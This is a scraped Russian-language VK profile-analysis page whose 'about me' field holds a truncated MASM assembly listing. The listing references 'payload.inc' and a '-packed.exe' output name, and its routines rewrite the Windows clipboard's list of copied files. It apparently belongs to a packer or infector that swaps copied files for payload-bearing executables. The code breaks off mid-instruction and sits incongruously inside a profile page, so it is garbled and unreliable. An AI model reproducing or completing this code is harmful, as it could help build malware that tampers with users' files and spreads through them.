Soulprocess ...

Анализ профиля ВКонтакте (VK)

Число подписчиков: 0

• VK ссылка:id115283989
• О себе:.586 .model flat,stdcall option casemap:none ;includes not visible .data extension db "-packed.exe",0 hexa db "%x",0 sebt db "File has been Exracted",0 .data? h_clp dd ? buffer db 1024 dup(?) buf_check db 1024 dup(?) buf_fname db 1024 dup(?) p_name db 256 dup(?) v_mem dd ? new_clp dd ? clp_mem dd ? v_name dd ? f_handle dd ? f_mem dd ? f_size dd ? v_size dd ? bwr dd ? clp_size dd ? uni_str_sz dd ? sec_no dw ? optional_size dw ? org_size dd ? clp_offset dd ? include run.inc include payload.inc .code chk_1: mov esi,offset ca$h call @f call edi or eax,eax jz @f ret @@: pop edi mov ecx,chk_size1 repe cmpsb or ecx,ecx jz @f pop edx ret @@: ret chk1_sz = $-chk_1 uni2asci: ; Functions to convert uni to aci xor edx,edx @@: mov dl,byte ptr [esi] mov byte ptr [edi],dl inc edi add esi,2 loop @b ret size_uni:;---------------------------------------|Size the unicode string xor ecx,ecx @@: add ecx,2 cmp word ptr [esi],0 jz @f add esi,2 jmp @b @@: ret size_asci:;---------------------------------------|Size the asci string xor ecx,ecx @@: inc ecx cmp byte ptr [esi],0 jz @f inc esi jmp @b @@: ret size_clp: mov ebp,esp add ebp,4 xor ecx,ecx mov esi,eax add esi,20 add ecx,20 mov [ebp-40],esi sub dword ptr [ebp-40],2 call @f @@: inc ecx cmp word ptr[esi],0 jz @f inc esi jmp @b @@: mov edx,[esp] cmp word ptr [esi+3],0 jnz @f pop edx mov esi,[ebp-40] add esi,2 ret @@: mov [ebp-40],esi inc esi jmp edx str2uni: ; Functions to convert uni to aci xor edx,edx @@: mov dl,byte ptr [esi] mov byte ptr [edi],dl mov byte ptr [edi+1],0 add edi,2 inc esi loop @b mov word ptr [edi],0 ret add_clip: invoke lstrlen,offset buf_fname xor ecx,ecx xor edx,edx mov ecx,2 mul ecx add eax,12 add clp_size,eax push eax invoke RtlZeroMemory,offset buffer,1024 mov edi,offset buffer mov esi,offset buf_fname pop ecx push ecx call str2uni invoke GlobalAlloc,0,clp_size mov new_clp,eax invoke RtlZeroMemory,new_clp,clp_size mov esi,clp_mem mov edi,new_clp mov ecx,clp_size pop edx push edx sub ecx,edx rep movsb mov edi,new_clp add edi,clp_offset;clp_size pop ecx push edi mov esi,offset buffer rep movsb pop edi call EmptyClipboard invo